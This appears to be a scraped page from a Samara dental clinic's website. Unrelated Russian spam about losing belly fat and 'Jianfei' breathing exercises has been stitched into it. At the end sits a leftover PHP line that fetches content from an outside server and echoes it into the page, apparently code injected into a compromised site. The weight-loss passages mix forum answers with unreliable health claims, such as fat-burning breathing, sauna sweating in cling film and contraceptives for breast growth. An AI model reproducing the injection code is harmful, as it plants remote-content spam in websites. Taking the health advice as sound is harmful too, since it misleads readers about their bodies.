Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Как убрать живот, но чтобы грудь была прежнего размера и не уменшалась

Кушать как и кушала, ток Пресс качать

Цзяньфэй - это китайская дыхательная гимнастика для похудения, состоящая из трех несложных упражнений, выполнение которых приводит к потере лишнего веса, а также к гармоничному состоянию внутреннего мира.

Возьми обруч и крути на талии. Смотрела фильм "Королева бензоколонки"?

Капуста игорох еште. увеличивает железы груди. а на счет живота. думаю если не будете или будете мясо есть только по праздником точно уменшится

Прес качай, бегай и в завернувшись в пишевой целофан в сауну потеть.. тока следи чтоб от эффекта двойной бани кожа не испортилась и не поплохело..

К сожалению, если мы худеем, то похудение начинается с груди, а если поправляемся, то грудь поправляется последней: )
Предлагаю исключить продукты, которые особенно легко откладываются в области талии: белый хлеб, сдоба (да, да, все булочки и ватрушки:)) , шоколад, сладости.
Побольше пить воды - если организм будет хоть немного обезвожен, он будет набирать "запас".
Упражнения на прес - скручивания (1000000 вариантов в инете) , поднятие ног и позиции лежа, поднятие корпуса из позиции лежа к согнутым в коленях ногам + обруч будет неличним. Если можете отжаться, хотя бы от колен - тоже чудненько помогает.
Удачи и красивых кубиков вам:)

"Физиологическое дыхание" - это когда кислород проникает во все клетки организма. Это не поверхностное дыхание грудью, а глубокое цикличное дыхание животом. Так дышат младенцы. Ощущения от такого дыхания вначале непривычные, но если Вы прочувствуете этот метод и привыкнете к нему, - он станет Вашим помощником на всю жизнь.
Дыхательная гимнастика "Цзяньфэй" в переводе с китайского, кстати, означает "сбросить жир". С помощью дыхательныx упражнений можно зa короткий срок повлиять на движение жидкости в организме, наладить жировой обмен и годами сохранять стройную фигуру и поддерживать прекрасное состояние здоровья.
Техника: лягте на спину, ноги согните в коленях, под прямым углом, ступни поставьте ровно, одну ладонь положите на грудь, другую на живот. После этого начинайте дыхательные упражнения, чуть помогая руками. При выполнении дыхательной гимнастики, расслабьте пояс и расстегните одежду, сковывающую движения тела.
Для ускорения липолиза:
Сделайте глубокий вдох носом. При этом, расправляйте грудь, открывая дорогу потоку воздуха внутрь себя, и надувайте живот, заполняя его воздухом (по возможности полнее, но без чрезмерных усилий) . Далее, задержите дыхание на 30-40 секунд. В это время, Ваш живот приподнят, потому что он наполнен воздухом. Вы даёте возможность кислороду проникнуть глубоко внутрь себя, чего не происходит при поверхностном дыхании грудью.
При продолжительном выдохе ртом (10-15 секунд) , медленно, сквозь губы, старайтесь вытолкнуть из себя весь воздух, опустошая и втягивая в себя живот.
Основное правило: вдох - живот надувается, выдох - сдувается.

Китайская дыхательная гимнастика Цзяньфэй - это всего 3 упражнения. Упражнение 1. Волна . Название этого упражнения уже само по себе является точным руководством к своему выполнению.

Возьми обруч и крути на талии прес качай, бегай

Физические упражнения и не есть после 6

Пресс и обруч

Сесть на диету + фитнес+ гормональный контрацептив)) ) грудь вырастет а тело похудеет)))

Тогда с помощью спорта только.
Никаких диет, от них грудь 100% пропадёт. Просто правильное полезное питание.

Выполнение упражнения способствует выведению желудочного сока в кишечник благодаря особым дыхательным методам, толчкам и сжатиюСистема Цзяньфэй Цигун для похудения. Вы Тоже Можете Гарантированно И Быстро Похудеть Без Вреда Для Здоровья, С Помощью...

Как быстро убрать животик

Перестань есть)

Предлагаем вашему вниманию несколько видов дыхательных методик для похудения.Сегодня система дыхательных упражнений цзяньфэй помогает похудеть всем, кто хочет попробовать.

Спорт и диета. Быстро уберёшь.

Чтобы в некоторых местах похудеть, нужно в некоторых местах не жрать!

"Физиологическое дыхание" - это когда кислород проникает во все клетки организма. Это не поверхностное дыхание грудью, а глубокое цикличное дыхание животом. Так дышат младенцы. Ощущения от такого дыхания вначале непривычные, но если Вы прочувствуете этот метод и привыкнете к нему, - он станет Вашим помощником на всю жизнь.
Дыхательная гимнастика "Цзяньфэй" в переводе с китайского, кстати, означает "сбросить жир". С помощью дыхательныx упражнений можно зa короткий срок повлиять на движение жидкости в организме, наладить жировой обмен и годами сохранять стройную фигуру и поддерживать прекрасное состояние здоровья.
Техника: лягте на спину, ноги согните в коленях, под прямым углом, ступни поставьте ровно, одну ладонь положите на грудь, другую на живот. После этого начинайте дыхательные упражнения, чуть помогая руками. При выполнении дыхательной гимнастики, расслабьте пояс и расстегните одежду, сковывающую движения тела.
Для ускорения липолиза:
Сделайте глубокий вдох носом. При этом, расправляйте грудь, открывая дорогу потоку воздуха внутрь себя, и надувайте живот, заполняя его воздухом (по возможности полнее, но без чрезмерных усилий) . Далее, задержите дыхание на 30-40 секунд. В это время, Ваш живот приподнят, потому что он наполнен воздухом. Вы даёте возможность кислороду проникнуть глубоко внутрь себя, чего не происходит при поверхностном дыхании грудью.
При продолжительном выдохе ртом (10-15 секунд) , медленно, сквозь губы, старайтесь вытолкнуть из себя весь воздух, опустошая и втягивая в себя живот.
Основное правило: вдох - живот надувается, выдох - сдувается.

Цзяньфэй дыхательные упражнения для похудения
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта